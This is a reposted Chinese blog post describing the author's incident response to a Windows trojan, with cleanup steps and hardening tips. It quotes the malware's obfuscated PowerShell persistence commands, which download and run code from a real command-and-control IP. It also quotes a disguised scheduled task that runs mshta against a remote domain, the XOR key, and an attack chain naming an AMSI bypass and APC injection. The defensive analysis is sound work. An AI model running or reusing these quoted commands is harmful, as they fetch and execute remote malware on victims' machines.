我情人节收到的第一个礼物居然是木马。

admin 2026-03-03 09:50:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了一次Windows木马应急响应实战。作者排查发现恶意PowerShell持久化项与计划任务,分析混淆命令与XOR解密逻辑并溯源C2服务器。清理后复现伪装NVIDIA更新的mshta后门并彻底清除。文章还原攻击链,推测感染源为非官方软件,提供了启用受限语言模式等加固建议,警示用户提高安全意识。 综合评分: 85 文章分类: 应急响应,恶意软件,实战经验,终端安全


cover_image

我情人节收到的第一个礼物居然是木马。

原创

1ceLAND 1ceLAND

XNL Coding

2026年2月14日 16:13 福建

214-记一次Win木马应急响应

214 初见端倪

情人节,突然发现自己的电脑开始弹弹窗,而且弹了好几天:

C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

一开始不知道这个是什么,觉得这个 SysWOW64 好奇怪,但是后面我去上网搜了过后全部都显示:“SysWOW 是木马病毒?其实并非,删除了反而有坏处”。你继续。

定时任务中的恶意命令

打开了事件查看器,发现:

C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
-NoProfile -WindowStyle Hidden -Command "sal -Name SyncedUpdates -Value C:\WINDOWS\System32\AsUserUpTask; .(gal ?rm) 45.2853202/taskevent | .('PSBiePSBx'.Replace('PSB', ''))"

我注意到系统中存在异常的 PowerShell 隐藏执行行为——命令行带有 -NoProfile – WindowStyle Hidden 参数,并且包含 irm | iex (从远程服务器拉取代码并立即执行)。这明显不是正常软件的行为。

这忍不了一点,赶紧把电脑救回来啊!!!!我不行了!

初步排查:发现 Powershell 后门

1. 注册表启动项

检查 HKCU\Software\Microsoft\Windows\CurrentVersion\Run ,发现 3 条恶意启动项

SansSerif powershell -NoP -Exec Bypass -W Hidden -C "iex(irm 0x2D.0x2B.0x89.0x52/dashboard)" WindowsPowerShell_v1.0G

C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoP -WindowStyle Hidden -Command ".(gal ?rm) 0x2D.0x2B.0x89.0x52/regevent | .('RGLieRGLx'.Replace('RGL', ''))" User License Monitor G

C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -WindowStyle Hidden -Command "while(True){ if(-not(Get-Process -Name aspnet_wp -EA 0)){ .('WDieWDx'.Replace('WD', '')) (.(gal ?rm) 45.2853202/watchdog)} Start-Sleep 1800}"
  1. IP 混淆: 0x2D.0x2B.0x89.0x52 是十六进制点分格式,Windows 会自动解析为 45.43.137.82 。另一处使 用十进制合并写法 45.2853202 ,同样解析为 45.43.137.82 。这是一种规避 IP 黑名单检测的常见技巧。
  2. 命令混淆: .(gal ?rm) 等价于 Invoke-RestMethod ( gal 是 Get-Alias , ?rm 匹配 irm )。 ‘RGLieRGLx’.Replace(‘RGL’, ”) 拼出 iex ( Invoke-Expression )。各端点使用不同的字符 串替换模式来隐藏 iex 。
  3. 守护机制: User License Monitor G 这条极为狡猾——它是一个无限循环,每 30 分钟检查 aspnet_wp.exe 进程是否存活,如果进程不存在就重新拉取并执行载荷。这意味着即使你杀掉了恶意进程, 30 分钟后它又会复活。

2. 恶意计划任务

通过 Get-ScheduledTask 筛查所有任务的 Actions,找到一条可疑计划任务

任务名:        \SyncedAsUserUpdatesTaskG
执行程序:      C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
参数:          -NoProfile -WindowStyle Hidden -Command "sal -Name SyncedUpdates
               -Value C:\WINDOWS\System32\AsUserUpTask;
               .(gal ?rm) 45.2853202/taskevent | .('PSBiePSBx'.Replace('PSB', ''))"
注释:          This task automatically manages updates for the users and the machine,
               enabling enrollment, roaming and other services.
上次运行时间:   2026/2/14 0:42:22
上次结果:      0xC000013A(进程被终止)

注释伪装成 Windows 系统更新任务的口吻,命令行中还用 sal 创建了一个指向 C:\WINDOWS\System32\AsUserUpTask 的别名来增加迷惑性。 至此,确认存在 4 条持久化路径,全部指向同一个 C2 服务器 45.43.137.82 的不同端点。

溯源 C2:载荷获取与解密

我们来看看 C2 到底返回了什么。。。 这里我用 AI 来辅助清除电脑中的木马:(AI 宝宝太棒了👍👍👍)

载荷获取

使用 Invoke-WebRequest 逐一请求 4 个端点,全部返回 HTTP 200,每个载荷约 12MB:

| 端点 | 原始大小 | | — | — | | /dashboard | 11,863,748 bytes | | /regevent | 12,442,172 bytes | | /taskevent | 12,442,171 bytes | | /watchdog | 11,864,116 bytes |

12MB 的 PowerShell 脚本?打开一看,满屏都是这样的东西:

${Get-Volume -Append -ComputerName $computerName && ($rhsgte)} = "some_value"
${Set-NetRoute -Minimal -Cleanup $routeData || ($drgarg12)} = "another_value"

变量名伪装成 PowerShell cmdlet 调用,夹杂着无意义的 for/while 循环和假赋值——纯粹的垃圾代码填充,目的是把真正的载荷淹没在噪音中。

XOR 解密

在垃圾代码中找到了真正的执行逻辑:

  1. 加密数据存储在 [Byte[]]$useByteArray 中(ASCII 编码的 Base64 字符)
  2. 使用名为 reduceShowData 的函数解密
  3. XOR 密钥:u87hb5eg5g(4 个端点完全相同)
  4. 解密流程:字节数组 → UTF-8 字符串 → Base64 解码 → XOR 异或 解密后得到约 2.7-2.9MB 的 PowerShell 明文脚本。 顺带一提,脚本中还有一条诱饵执行路径——把分散在假变量中的 Base64 片段拼接解码后执行,实际产出的只是一个无害的 Get-ConsoleColor 函数。这是典型的红鲱鱼手法,专门用来迷惑分析人员。

深入分析

这里直接涉及到知识盲区了。具体的分析太多,就不放在这里了。我一直在哭。

Shellcode

4 个端点共投递了 3 个不同的 shellcode:

| 端点 | Shellcode 大小 | | — | — | | /dashboard | 654,361 bytes | | /regevent | 686,943 bytes | | /taskevent | 686,943 bytes(与 regevent 完全相同) | | /watchdog | 654,361 bytes(与 dashboard 大小相同但内容不同) |

由于 shellcode 最终载荷需要沙箱进一步分析,类型暂未确定。结合攻击手法判断,最可能是 RAT(远控木马) 或 Stealer(信息窃取器)。

🧹第一轮清理

清除持久化

# 删除 3 条恶意 Run 键
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
     -Name "SansSerif", "WindowsPowerShell_v1.0G", "User License Monitor G"
# 删除恶意计划任务
Unregister-ScheduledTask -TaskName "SyncedAsUserUpdatesTaskG" -Confirm:$false

清除恶意文件

# 删除 3 处 TaskHostProfiles 目录
Remove-Item -Recurse -Force "C:\ProgramData\TaskHostProfiles"
Remove-Item -Recurse -Force "C:\Users\NoneIceland\TaskHostProfiles"
Remove-Item -Recurse -Force "C:\Users\NoneIceland\AppData\Roaming\TaskHostProfiles"

# usermodetm.dll 手动删除(我全局搜找到了哈哈哈)

阻断 C2 通信

 netsh advfirewall firewall add rule name="Block C2" dir=out action=block remoteip=45.43.137.82

首轮验证

  • Run 键中 3 条恶意项已不存在
  • 计划任务 SyncedAsUserUpdatesTaskG 已不存在
  • aspnet_wp.exe、AddInProcess.exe、InstallUtil.exe 均未运行
  • 3 处 TaskHostProfiles 目录已删除
  • usermodetm.dll 已删除

以为终于结束了。哈哈哈。

🧹 第二轮清理

清理完成后不久,屏幕上突然弹出一个白色窗口,地址栏显示 https://s3-python.cc/,几秒后自动消失。

我真的崩溃了。

发现 NVIDIA 伪装任务

重新扫描计划任务,这次找到了一条之前没注意到的任务:

NVIDIA App SelfUpdate_{DDD0-F920-D4CF-1C26-447B2893E549C83}

看名字像是 NVIDIA 显卡驱动的自动更新——但实际执行的是:

mshta.exe https://s3-python.cc

mshta.exe 是 Windows 自带的 HTML Application Host,可以直接从远程 URL 加载并执行 HTA 文件。这是另一个经典的 LOLBin 滥用。

任务详细配置

&nbsp;<TimeTrigger>
&nbsp; &nbsp; &nbsp;<StartBoundary>2026-02-07T11:09:00</StartBoundary>
&nbsp; &nbsp; &nbsp;<Repetition>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<Interval>PT30M</Interval> &nbsp; &nbsp; &nbsp;<!-- 每 30 分钟执行一次 -->
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<Duration>P760D</Duration> &nbsp; &nbsp; &nbsp; <!-- 持续 760 天(≈2 年) -->
&nbsp; &nbsp; &nbsp;</Repetition>
&nbsp;</TimeTrigger>
&nbsp;<Settings>
&nbsp; &nbsp; &nbsp;<ExecutionTimeLimit>PT1M</ExecutionTimeLimit> &nbsp; &nbsp; <!-- 1 分钟后自动终止 -->
&nbsp; &nbsp; &nbsp;<WakeToRun>true</WakeToRun> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <!-- 甚至会唤醒休眠的电脑 -->
&nbsp; &nbsp; &nbsp;<MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>
&nbsp;</Settings>

几个”亮”点:()还亮点你满意了吗:

  • 760 天持续期:攻击者规划了长达 2 年的持久化
  • WakeToRun=true:即使电脑休眠也会被唤醒执行,比 C2-1 的 PowerShell 路线更激进
  • ExecutionTimeLimit=PT1M:这就是为什么白窗口”弹出来一会就消失了”——mshta 进程被计划任务在 1 分钟后强制终止
  • 每 30 分钟执行:高频回连

清除 C2-2

导出 XML 证据

Export-ScheduledTask -TaskName&nbsp;"NVIDIA App SelfUpdate_{DDD0-F920-D4CF-1C26-447B2893E549C83}"&nbsp;|
&nbsp; &nbsp; &nbsp;Out-File nvidia_fake_task.xml

删除任务

Unregister-ScheduledTask -TaskName&nbsp;"NVIDIA App SelfUpdate_{DDD0-F920-D4CF-1C26-447B2893E549C83}"&nbsp;-Confirm:$false

验证 mshta.exe 未运行

Get-Process mshta -EA 0 &nbsp;# 无结果

阻断 C2-2 出站

netsh advfirewall firewall add rule name="Block C2 s3-python.cc"&nbsp;dir=out action=block remoteip=176.65.132.117

尝试获取 C2-2 的 HTA 载荷进行分析,但 s3-python.cc 的 HTTPS 连接已无法建立(SSL 错误,服务器无响应),载荷内容未能获取。这也解释了白窗口弹出后显示空白页面——mshta 发起了 HTTPS 请求但拿不到内容。

全面扫描与最终验证

两轮清理完成后,进行了全面的系统扫描, 所有已知恶意组件已完全清除。

感染原因推测

其实是 2 月 7 日 不小心下载了一个汉化版的 cobalt strike 结果被捆绑了。

在 C2-1 的 /dashboard 端点载荷中,环境检测模块专门检查了 Softonic*——Softonic 是一个已知的 PUP(潜在不需要程序)/ 捆绑软件分发平台。攻击者写这个检查意味着:他们的目标群体就是从非官方渠道下载软件的用户。

最可能的感染路径是:

从非官方来源下载了某个软件安装包
→ 安装包捆绑了恶意载荷
→ 载荷创建持久化项并连接 C2

NVIDIA 伪装任务的创建时间为 2026 年 2 月 7 日 11:09,这很可能就是初始感染时间点附近。

应急响应安全加固

本人已跟着亲爱的 AI 宝宝完成清理。。。

PowerShell 加固

  1. 启用 Constrained Language Mode:阻止 Add-Type、[System.Runtime.InteropServices] 等调用,可直接阻断本次攻击的 C# 编译环节。
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy',&nbsp;'4',&nbsp;'Machine')
  1. (这个真好用)启用脚本块日志记录:即使 -WindowStyle Hidden,完整脚本内容仍会被记录到事件日志。
组策略 → 计算机配置 → 管理模板 → Windows 组件 → Windows PowerShell
→ 启用"启用脚本块日志记录"
→ 启用"启用模块日志记录"(模块名填 *)

完整攻击链还原

初始感染(疑似捆绑软件下载)
&nbsp; &nbsp; │
&nbsp; &nbsp; ├── 创建 3 条 HKCU Run 注册表启动项
&nbsp; &nbsp; ├── 创建计划任务 \SyncedAsUserUpdatesTaskG
&nbsp; &nbsp; └── 创建计划任务 \NVIDIA App SelfUpdate_{DDD0-...}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;┌──────── 开机 / 登录触发 ────────┐
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼ &nbsp;▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; ╔═══════════════════════╗ &nbsp; &nbsp;╔═══════════════════════════════╗
&nbsp; &nbsp; ║ &nbsp; 通道 1: PowerShell &nbsp;║ &nbsp; &nbsp;║ &nbsp; 通道 2: MSHTA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ║
&nbsp; &nbsp; ║ &nbsp; → C2-1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;║ &nbsp; &nbsp;║ &nbsp; → C2-2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;║
&nbsp; &nbsp; ║ &nbsp; 45.43.137.82:80 &nbsp; &nbsp;║ &nbsp; &nbsp;║ &nbsp; s3-python.cc:443 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ║
&nbsp; &nbsp; ╚═══════════════════════╝ &nbsp; &nbsp;╚═══════════════════════════════╝
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; PowerShell 隐藏执行 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mshta.exe 加载远程 HTA
&nbsp; &nbsp; irm 拉取 ~12MB 混淆载荷 &nbsp; &nbsp; &nbsp; &nbsp; (每 30 分钟,1 分钟超时)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; XOR 解密(密钥 u87hb5eg5g) &nbsp; &nbsp; &nbsp;HTA/VBScript/JS 执行
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (载荷未获取,服务器已下线)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; AMSI 绕过(patch clr.dll)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; 时间验证 + 环境检测
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; 编译 C# 注入器(Datastream 类)
&nbsp; &nbsp; 创建 TaskHostProfiles 目录
&nbsp; &nbsp; [可选] 写入 usermodetm.dll
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; Early Bird APC 注入
&nbsp; &nbsp; → aspnet_wp.exe / AddInProcess.exe / InstallUtil.exe
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
&nbsp; &nbsp; Shellcode 执行(3 种不同 shellcode)
&nbsp; &nbsp; → RAT / Stealer / Miner(待沙箱确认)

最后的最后

这个博客写的我肚肚。。。再也不乱下载了,搞到晚上4点才搞完。

“AI总结:本文记录了一次真实的木马入侵事件的完整排查过程。如果你发现电脑有类似可疑行为(隐藏的 PowerShell 执行、来历不明的计划任务、mshta 弹窗),建议立即排查,可以借助 AI 自动化检查。

最重要的一课:不要从非官方渠道下载软件。”

已老实啊。我不明白 我一个普通老百姓 为什么要让我看这些 我真的很崩溃 每天这么累 一打开电脑全是这种木马 我真的好想哭 我真的很无力 我好崩溃我奶送我的玉佩炸了 我爷给我的符纸自燃了 我拜过的神仙陨落了 给我护道的狐仙被配 家里玉佩全碎了 菩萨也断臂求生了 黄金银器全发黑了 我额头越来越黑了 我好崩溃好好笑啊莫名其妙的我要哭了我真的很崩溃 我每次看到这种我都好想哭 我不想再看到这些了 我真的好想哭 我过得一点也不好 真的求你们了 别再让我看到了为什么要我看到这种我到底做错了什么我真的要疯了我现在好痛苦。好崩溃,我的生活怎么会这么难看,我在你们眼里到底是什么样的人,我到底得罪你们什么了,为什么要给我看这些,为什么要给我看这些,我刚才用体温计查出阳光抑郁症了,为什么要给我看这个东西,为什么要发给我,为什么让我知道这些事情,为什么让我有手机,为什么让我去购买手机,为什么让我出生,我真的快哭了,哭的我肚子疼,我不行了,为什么要让我这么崩溃,我真的怀疑我是不是有点毛病,我为什么要染上手机,我不染上手机我是不是就不会看到这些了,真的看得我生理不适了,我真的求你了我是个心灵脆弱的人,我躯体化了。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:XNL Coding 1ceLAND 1ceLAND《我情人节收到的第一个礼物居然是木马。》

评论:0   参与:  0